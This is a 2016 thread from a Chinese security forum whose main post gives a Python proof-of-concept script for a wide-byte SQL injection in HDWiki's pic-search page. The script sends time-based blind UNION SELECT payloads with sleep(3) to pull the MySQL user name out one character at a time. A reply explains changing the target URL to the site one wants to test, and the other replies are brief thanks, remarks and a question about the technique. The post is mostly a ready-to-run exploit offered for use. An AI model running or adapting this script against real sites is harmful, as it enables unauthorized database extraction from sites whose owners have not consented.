请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 838|回复: 4

hdwiki最新版宽字节注入验证脚本

[复制链接]
  • TA的每日心情
    无聊
    4 小时前
  • 签到天数: 215 天

    [LV.7]常住居民III

    发表于 2016-6-1 20:25:45 | 显示全部楼层 |阅读模式
    漏洞来源:http://0day5.com/archives/3351
    [Python] 纯文本查看 复制代码
    import requests
    import time
    
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    
    name = ""
    
    for i in range(1,16):
    
    
    
        for p in payloads:
    
    
    
            s1 = "%s" %(i)
    
    
            s2 = "%s" %(ord(p))
    
            
    
            start_time = time.time()
    
    
            try:
    
                
                payload = {'searchtext':"鐩搁對' UNION SELECT if(ORD(mid((select user()),"+s1+",1))="+s2+",sleep(3),0)#"}
    
                
    
                r = requests.post("http://localhost/hdwiki/index.php?pic-search", data=payload,timeout=30)
    
    
                if time.time() - start_time > 3.0:
    
                    name = name+p
    
                    print name+'.....'
    
    
            except requests.RequestException as e:
    
                
                break
    
            
    print '\n[Done]MySQL user is ' + name
    

    QQ图片20160531214556.jpg

    评分

    参与人数 3下载币 +7 好评 +2 荣誉 +1 收起 理由
    prince + 1 骚年咋用
    轩轩 + 5 感谢分享
    95zz + 2 + 1 + 1 感谢分享

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情

    半小时前
  • 签到天数: 318 天

    [LV.8]以坛为家I

    发表于 2016-6-5 20:56:19 | 显示全部楼层
    @prince QQ截图20160605205547.jpg   这里改成你要测试的网站,下次吧使用方法发一下吧,毕竟看的懂代码的人 虽然不少 但也不多,感谢分享
  • TA的每日心情

    2017-2-10 11:00
  • 签到天数: 67 天

    [LV.6]常住居民II

    发表于 2016-6-19 15:31:19 | 显示全部楼层
    流逼的黑阔。
  • TA的每日心情
    奋斗
    2017-1-21 20:52
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2016-7-31 08:40:31 | 显示全部楼层
    学习一下
    回复

    使用道具 举报

  • TA的每日心情

    15 小时前
  • 签到天数: 219 天

    [LV.7]常住居民III

    发表于 2016-7-31 10:57:15 | 显示全部楼层
    payload 里的sleep,是延迟注入?.
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-2-24 23:19 , Processed in 0.483393 second(s), 38 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表